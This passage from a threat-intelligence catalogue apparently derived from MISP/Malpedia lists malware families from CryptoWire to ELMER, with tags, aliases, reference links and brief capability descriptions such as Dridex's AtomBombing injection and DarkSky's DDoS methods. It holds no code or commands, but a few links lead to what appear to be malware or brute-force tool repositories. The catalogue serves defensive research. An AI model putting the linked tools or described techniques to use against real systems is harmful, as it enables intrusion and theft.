CryptoWire is also known as:

Table 1233. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowire
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

CryptoFortress

The tag is: misp-galaxy:malpedia="CryptoFortress"

CryptoFortress is also known as:

Table 1234. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress
https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/
https://www.lexsi.com/securityhub/cryptofortress/?lang=en
http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html

CryptoRansomeware

The tag is: misp-galaxy:malpedia="CryptoRansomeware"

CryptoRansomeware is also known as:

Table 1235. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_ransomeware
https://twitter.com/JaromirHorejsi/status/818369717371027456

CryptXXXX

The tag is: misp-galaxy:malpedia="CryptXXXX"

CryptXXXX is also known as:

Table 1236. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/

CsExt

The tag is: misp-galaxy:malpedia="CsExt"

CsExt is also known as:

Table 1237. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.csext
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Cuegoe

The tag is: misp-galaxy:malpedia="Cuegoe"

Cuegoe is also known as:

Windshield?

Table 1238. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3451
http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html
https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal

Cueisfry

The tag is: misp-galaxy:malpedia="Cueisfry"

Cueisfry is also known as:

Table 1239. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry
https://www.secureworks.com/blog/apt-campaign-leverages-the-cueisfry-trojan-and-microsoft-word-vulnerability-cve-2014-1761

Cutlet

The tag is: misp-galaxy:malpedia="Cutlet"

Cutlet is also known as:

Table 1240. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet
http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html

Cutwail

The tag is: misp-galaxy:malpedia="Cutwail"

Cutwail is also known as:

Table 1241. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail

CyberGate

The tag is: misp-galaxy:malpedia="CyberGate"

CyberGate is also known as:

Rebhip

Table 1242. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

CyberSplitter

The tag is: misp-galaxy:malpedia="CyberSplitter"

CyberSplitter is also known as:

Table 1243. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cyber_splitter

CycBot

The tag is: misp-galaxy:malpedia="CycBot"

CycBot is also known as:

Table 1244. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot
https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/

Dairy

The tag is: misp-galaxy:malpedia="Dairy"

Dairy is also known as:

Table 1245. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

DanaBot

Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

The tag is: misp-galaxy:malpedia="DanaBot"

DanaBot is also known as:

Table 1246. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot
https://0ffset.wordpress.com/2018/06/05/post-0x08-analyzing-danabot-downloader/
https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns
https://asert.arbornetworks.com/danabots-travels-a-global-perspective/
https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/
https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed
https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/
https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/
https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/
https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/

DarkComet

The tag is: misp-galaxy:malpedia="DarkComet"

DarkComet is also known as:

Fynloski
klovbot

Table 1247. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://darkcomet.net
https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/

DarkMegi

The tag is: misp-galaxy:malpedia="DarkMegi"

DarkMegi is also known as:

Table 1248. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi
http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html
http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html

Darkmoon

The tag is: misp-galaxy:malpedia="Darkmoon"

Darkmoon is also known as:

Chymine

Table 1249. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon
http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html
https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml
http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html

DarkPulsar

The tag is: misp-galaxy:malpedia="DarkPulsar"

DarkPulsar is also known as:

Table 1250. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/

DarkShell

DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.

The tag is: misp-galaxy:malpedia="DarkShell"

DarkShell is also known as:

Table 1251. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell
https://www.arbornetworks.com/blog/asert/darkshell-a-ddos-bot-targetting-vendors-of-industrial-food-processing-equipment/

Darksky

DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.

The tag is: misp-galaxy:malpedia="Darksky"

Darksky is also known as:

Table 1252. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky
http://telegra.ph/Analiz-botneta-DarkSky-12-30
https://blog.radware.com/security/2018/02/darksky-botnet/
https://github.com/ims0rry/DarkSky-botnet

DarkStRat

The tag is: misp-galaxy:malpedia="DarkStRat"

DarkStRat is also known as:

Table 1253. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkstrat
https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/

DarkTequila

Dark Tequila is a complex malicious campaign targeting Mexican users, with the primary purpose of stealing financial information, as well as login credentials to popular websites that range from code versioning repositories to public file storage accounts and domain registrars.

The tag is: misp-galaxy:malpedia="DarkTequila"

DarkTequila is also known as:

Table 1254. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila
https://securelist.com/dark-tequila-anejo/87528/

Darktrack RAT

The tag is: misp-galaxy:malpedia="Darktrack RAT"

Darktrack RAT is also known as:

Table 1255. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat
http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml
https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html

Daserf

The tag is: misp-galaxy:malpedia="Daserf"

Daserf is also known as:

Muirim
Nioupale

Table 1256. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/

Datper

The tag is: misp-galaxy:malpedia="Datper"

Datper is also known as:

Table 1257. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.datper
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html

DDKONG

The tag is: misp-galaxy:malpedia="DDKONG"

DDKONG is also known as:

Table 1258. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Decebal

The tag is: misp-galaxy:malpedia="Decebal"

Decebal is also known as:

Table 1259. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.decebal
https://community.softwaregrp.com/t5/Security-Research/POS-malware-a-look-at-Dexter-and-Decebal/ba-p/272157
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf
https://www.fireeye.com/blog/threat-research/2014/10/data-theft-in-aisle-9-a-fireeye-look-at-threats-to-retailers.html

Delta(Alfa,Bravo, …)

The tag is: misp-galaxy:malpedia="Delta(Alfa,Bravo, …)"

Delta(Alfa,Bravo, …) is also known as:

Table 1260. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas
https://www.arbornetworks.com/blog/asert/pivoting-off-hidden-cobra-indicators/

Dented

Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.

The tag is: misp-galaxy:malpedia="Dented"

Dented is also known as:

Table 1261. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dented

DeputyDog

The tag is: misp-galaxy:malpedia="DeputyDog"

DeputyDog is also known as:

Table 1262. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deputydog
https://www.fireeye.com/blog/threat-research/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html

DeriaLock

The tag is: misp-galaxy:malpedia="DeriaLock"

DeriaLock is also known as:

Table 1263. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deria_lock
https://twitter.com/struppigel/status/812601286088597505

Derusbi

A DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.

The tag is: misp-galaxy:malpedia="Derusbi"

Derusbi is also known as:

PHOTO

Table 1264. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.derusbi
https://www.virusbulletin.com/uploads/pdf/conference_slides/2015/Pun-etal-VB2015.pdf
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

Devil’s Rat

The tag is: misp-galaxy:malpedia="Devil’s Rat"

Devil’s Rat is also known as:

Table 1265. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.devils_rat

Dexter

The tag is: misp-galaxy:malpedia="Dexter"

Dexter is also known as:

LusyPOS

Table 1266. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter
https://securitykitten.github.io/2014/12/01/lusypos-and-tor.html
https://volatility-labs.blogspot.com/2012/12/unpacking-dexter-pos-memory-dump.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Dexter-Malware—Getting-Your-Hands-Dirty/
http://contagiodump.blogspot.com/2012/12/dexter-pos-infostealer-samples-and.html
https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/25000/PD25658/en_US/McAfee_Labs_Threat_Advisory-LusyPOS.pdf
https://blog.fortinet.com/2014/03/10/how-dexter-steals-credit-card-information
https://blog.trendmicro.com/trendlabs-security-intelligence/infostealer-dexter-targets-checkout-systems/

Dharma

According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.

Once they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.

The tag is: misp-galaxy:malpedia="Dharma"

Dharma is also known as:

Arena
Crysis

Table 1267. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma
https://www.carbonblack.com/2018/07/10/carbon-black-tau-threat-analysis-recent-dharma-ransomware-highlights-attackers-continued-use-open-source-tools/
https://www.bleepingcomputer.com/news/security/new-arena-crysis-ransomware-variant-released/

DiamondFox

The tag is: misp-galaxy:malpedia="DiamondFox"

DiamondFox is also known as:

Crystal
Gorynch
Gorynych

Table 1268. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.diamondfox
https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1/
http://blog.checkpoint.com/2017/05/10/diamondfox-modular-malware-one-stop-shop/
https://www.scmagazine.com/inside-diamondfox/article/578478/
https://blog.cylance.com/a-study-in-bots-diamondfox
https://blog.malwarebytes.com/threat-analysis/2017/04/diamond-fox-p2/

Dimnie

The tag is: misp-galaxy:malpedia="Dimnie"

Dimnie is also known as:

Table 1269. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie
http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/

DirCrypt

The tag is: misp-galaxy:malpedia="DirCrypt"

DirCrypt is also known as:

Table 1270. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/
https://www.checkpoint.com/download/public-files/TCC_WP_Hacking_The_Hacker.pdf

DispenserXFS

The tag is: misp-galaxy:malpedia="DispenserXFS"

DispenserXFS is also known as:

Table 1271. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dispenserxfs
https://twitter.com/cyb3rops/status/1101138784933085191

DistTrack

The tag is: misp-galaxy:malpedia="DistTrack"

DistTrack is also known as:

Table 1272. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.disttrack
http://contagiodump.blogspot.com/2012/08/shamoon-or-disttracka-samples.html
http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/
http://www.vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/?adbsc=social68389776&adbid=804134348374970368&adbpl=tw&adbpr=4487645412
https://www.codeandsec.com/Sophisticated-CyberWeapon-Shamoon-2-Malware-Analysis
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://unit42.paloaltonetworks.com/unit42-second-wave-shamoon-2-attacks-identified/

DMA Locker

The tag is: misp-galaxy:malpedia="DMA Locker"

DMA Locker is also known as:

Table 1273. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/
https://blog.malwarebytes.com/threat-analysis/2016/05/dma-locker-4-0-known-ransomware-preparing-for-a-massive-distribution/

DMSniff

DMSniff is a point-of-sale malware previously only privately sold. It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries. It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.

The tag is: misp-galaxy:malpedia="DMSniff"

DMSniff is also known as:

Table 1274. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff
https://www.flashpoint-intel.com/blog/dmsniff-pos-malware-actively-leveraged-target-medium-sized-businesses/

DNSMessenger

DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.

The tag is: misp-galaxy:malpedia="DNSMessenger"

DNSMessenger is also known as:

TEXTMATE

Table 1275. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnsmessenger
http://wraithhacker.com/2017/10/11/more-info-on-evolved-dnsmessenger/
https://blog.talosintelligence.com/2017/10/dnsmessenger-sec-campaign.html
https://blog.talosintelligence.com/2017/03/dnsmessenger.html

DNSpionage

The tag is: misp-galaxy:malpedia="DNSpionage"

DNSpionage is also known as:

Agent Drable
Webmask

Table 1276. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage
https://blog-cert.opmd.fr/dnspionage-focus-on-internal-actions/
https://www.us-cert.gov/ncas/alerts/AA19-024A
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/
https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html

DogHousePower

DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.

The tag is: misp-galaxy:malpedia="DogHousePower"

DogHousePower is also known as:

Shelma

Table 1277. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doghousepower
http://www1.paladion.net/hubfs/Newsletter/DogHousePower-%20Newly%20Identified%20Python-Based%20Ransomware.pdf

NgrBot

The tag is: misp-galaxy:malpedia="NgrBot"

NgrBot is also known as:

Table 1278. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot
https://securingtomorrow.mcafee.com/mcafee-labs/ngrbot-spreads-via-chat/
https://research.checkpoint.com/dorkbot-an-investigation/
http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html

Dorshel

The tag is: misp-galaxy:malpedia="Dorshel"

Dorshel is also known as:

Table 1279. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

DoublePulsar

The tag is: misp-galaxy:malpedia="DoublePulsar"

DoublePulsar is also known as:

Table 1280. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar
https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/
https://github.com/countercept/doublepulsar-c2-traffic-decryptor
https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/

Downdelph

The tag is: misp-galaxy:malpedia="Downdelph"

Downdelph is also known as:

DELPHACY

Table 1281. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf

Downeks

The tag is: misp-galaxy:malpedia="Downeks"

Downeks is also known as:

Table 1282. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks
http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/?adbsc=social69739136&adbid=826218465723756545&adbpl=tw&adbpr=4487645412

DownPaper

The tag is: misp-galaxy:malpedia="DownPaper"

DownPaper is also known as:

Table 1283. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper
http://www.clearskysec.com/charmingkitten/

DramNudge

The tag is: misp-galaxy:malpedia="DramNudge"

DramNudge is also known as:

Table 1284. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge

DreamBot

2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)

In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.

See win.gozi for additional historical information.

The tag is: misp-galaxy:malpedia="DreamBot"

DreamBot is also known as:

Table 1285. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot
https://lokalhost.pl/gozi_tree.txt
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality

Dridex

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

The tag is: misp-galaxy:malpedia="Dridex"

Dridex is also known as:

Table 1286. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/
https://blogs.it.ox.ac.uk/oxcert/2015/11/09/major-dridex-banking-malware-outbreak/
https://securityintelligence.com/dridexs-cold-war-enter-atombombing/
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps
https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/
https://viql.github.io/dridex/
https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/

DRIFTPIN

Driftpin is a small and simple backdoor that enables the attackers to assess the victim. When executed the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.

The tag is: misp-galaxy:malpedia="DRIFTPIN"

DRIFTPIN is also known as:

Spy.Agent.ORM
Toshliph

Table 1287. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/

DROPSHOT

The tag is: misp-galaxy:malpedia="DROPSHOT"

DROPSHOT is also known as:

Table 1288. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/

DtBackdoor

The tag is: misp-galaxy:malpedia="DtBackdoor"

DtBackdoor is also known as:

Table 1289. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dtbackdoor

DualToy (Windows)

The tag is: misp-galaxy:malpedia="DualToy (Windows)"

DualToy (Windows) is also known as:

Table 1290. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dualtoy
https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

DarkHotel

The tag is: misp-galaxy:malpedia="DarkHotel"

DarkHotel is also known as:

Table 1291. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubnium_darkhotel
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://labs.bitdefender.com/wp-content/uploads/downloads/inexsmar-an-unusual-darkhotel-campaign/
http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/

DUBrute

The tag is: misp-galaxy:malpedia="DUBrute"

DUBrute is also known as:

Table 1292. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute
https://github.com/ch0sys/DUBrute

Dumador

The tag is: misp-galaxy:malpedia="Dumador"

Dumador is also known as:

Table 1293. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador

DuQu

The tag is: misp-galaxy:malpedia="DuQu"

DuQu is also known as:

Table 1294. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet_research.pdf

Duuzer

The tag is: misp-galaxy:malpedia="Duuzer"

Duuzer is also known as:

Table 1295. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Dyre

The tag is: misp-galaxy:malpedia="Dyre"

Dyre is also known as:

Dyreza

Table 1296. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/
https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/

EDA2

The tag is: misp-galaxy:malpedia="EDA2"

EDA2 is also known as:

Table 1297. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.eda2_ransom
https://twitter.com/JaromirHorejsi/status/815861135882780673

EHDevel

The tag is: misp-galaxy:malpedia="EHDevel"

EHDevel is also known as:

Table 1298. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel
https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/

ElectricPowder

The tag is: misp-galaxy:malpedia="ElectricPowder"

ElectricPowder is also known as:

Table 1299. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder
https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26760/en_US/McAfee_Labs_Threat_Advisory_GazaCybergang.pdf
https://www.clearskysec.com/iec/

Elirks

The tag is: misp-galaxy:malpedia="Elirks"

Elirks is also known as:

Table 1300. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks
https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/

Elise

The tag is: misp-galaxy:malpedia="Elise"

Elise is also known as:

Table 1301. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.elise
https://www.accenture.com/t20180127T003755Zw/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Zw/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
https://securelist.com/blog/research/70726/the-spring-dragon-apt/
https://www.joesecurity.org/blog/8409877569366580427

ELMER

ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.

The tag is: misp-galaxy:malpedia="ELMER"

ELMER is also known as:

Elmost

Table 1302. Table References
Links
